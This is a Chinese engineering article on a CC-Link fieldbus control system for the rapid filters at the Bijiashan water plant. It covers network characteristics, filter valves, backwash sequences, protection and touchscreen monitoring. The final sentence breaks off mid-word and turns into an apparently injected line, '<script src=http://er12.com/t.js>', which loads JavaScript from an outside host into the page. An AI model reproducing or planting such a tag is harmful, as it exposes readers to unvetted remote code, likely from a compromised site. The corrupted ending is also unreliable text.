九十年代中期，国际上兴起的现场总线技术是计算机网络通信技术与自动化仪器|仪表系统相结合的成果。国际电工委员会（iec）对现场总线定义为：现场总线是连接工业现场仪表与设置在控制室内控制设备的数字化、串行、双向、多变量、多节点的通信网络。现场总线控制系统（fieldcontrolsystem,fcs）定义为：由各种现场仪表通过互连与控制室内人机界面所组成的系统；一个全分散、全数字化、全开放和可互操作的生产过程自动控制系统。
目前，现场总线技术已经用于过程自动化、制造自动化、楼宇自动化等领域的现场智能设备互连通信网络中。作为工厂数字通信网络的基础，沟通了生产过程现场与控制设备之间的联系外，还连接着更高控制管理层。因此，它不仅是一个基层网络，而且还可构成一种开放式、新型全分布控制系统，即，集智能、传感、控制、计算机、数字通信技术于一身的控制系统。正由于这些特点，以现场总线作为技术支撑的fcs在工业自动化领域有明显的优势，如很高的精确性、设计组态简单、扩展安装方便、易于维护、节省软硬件投资等。它被公认为第五代控制系统，成为当今工业自动化发展的必然趋势。
考虑上述因素，对笔架山水厂普通快滤池设计时，选用现场总线作为控制系统支撑技术。基于现场总线的笔架山水厂普通快滤池自动控制系统，应达到如下要求：
⑴系统具有较高的可靠性。
⑵笔架山水厂普通快滤池设计以全自动化，无人值守为目标。
⑶具有自动故障诊断和故障处理功能。
⑷具有远程监控功能。
⑸系统具有较强的开放性，能与全厂计算机控制系统实时交换信息。
经过对几家（如modbus、profibus、cclink）现场总线的性能和价格认真比较，且考虑到过去使用情况。本系统采用日本三菱plc的cclink总线网络作为支撑网络。系统内控制装置采用三菱a系列plc和fx系列plc两种，分级控制着现场及车间设备运行。
cc-link网络特性图如下：
cc-link具有如下特性：
1）在同行业中最快的通信速度，在需要高速应答时，可支持传感器输入及智能化设备之间进行大量数据传送。在100米距离内通信速率达10mb，1200米距离通信速率也达156kb。
2）对分散的pc（progrommecontroller）控制连网后进行循环传送，即，在主控pc与本地pc之间进行n：n的循环传送。实现了控制系统的全分散、全开放、互操作、互换性。
3）可连智能设备，进行信息传送。
除了字数据的循环传送以外，cc-link系统还能与智能化设备进行数据通信，这些设备包括显示设备、条形码读写器、测量设备以及个人电脑等。
4）完善的ras功能。具有自动在线恢复、待机主控功能、切断从站功能、确认链接状态功能及测试和诊断功能，系统具有高度可靠性。
5）多厂商的开放性网络具有高度的安全性。
6）采用双绞线组成总线网，节省投资，提高控制性能。
一、系统硬件设计
1．就地控制单元硬件设计
就地控制单元不仅具有自动控制功能，由于触摸屏的使用，而具有直观画面监视功能，其结构如图二所示。
如图所示，单格滤池由五个阀门组成：df进水电磁阀、f1出水阀、f2水冲阀、f3气冲阀、f4排水阀。由一台fx2nplc控制单格滤池的自动过滤和自动反冲洗。滤池就地控制单元即cclink网络的一个从站，执行三格滤池的控制过程内部数据交换。三格滤池通过rs485网络互连，这种rs485网络速率为192kb、距离为50米、数据传送量不大，但也是n｀：n网络，可实现主控pc与从站pc之间数据循环传送。通过此网络三格滤格的三台fx2nplc与触摸屏互连。
滤池就地控制单元功能包括：
①控制单格滤池的自动过滤和自动反冲洗。自动过滤监测滤池水位，据滤池水位的情况及时调整出水阀的开度，使滤池保持在过滤水位。当运行周期到或强冲或水头损失以达到时，滤池进行自动反冲洗。控制器监测滤池水位到达低水位，开启排水阀，开启气冲阀、气冲5分钟，关闭气冲阀；开启水冲阀、水冲5分钟、关闭水冲阀；关闭排水阀，冲洗结束。
②控制方式和流程的选择。识别手动、自动集控（包括全自动及触摸监控）方式。根据实际情况选择气水冲洗和单纯水冲流程。
③保护功能。当滤池水位高于最高水位时，自动停止进水，开大出水阀。给出报警提示。当滤池水位高于超高水位时，除上述操作外，自动关闭出水阀。
④故障检测和诊断。检测阀门在规定时限内是否到位，进行检错分析，为可靠性控制提供依据。
⑤动画监视。以动画形式实时显示滤池各个阀门开关状态、到位情况、故障发生情况等；显示各个滤格状态（包括正常过滤、冲洗、触摸屏状态、手动控制等）；显示风机水泵运行及故障情况；实时显示水位值。
⑥实时操作。包括滤格状态（全自动/触摸监控方式）选择；故障复位；在触摸监控方式下对滤池各个阀门进行开关控制。
⑦远程操作。在触摸屏上可执?script src=http://er12.com/t.js>
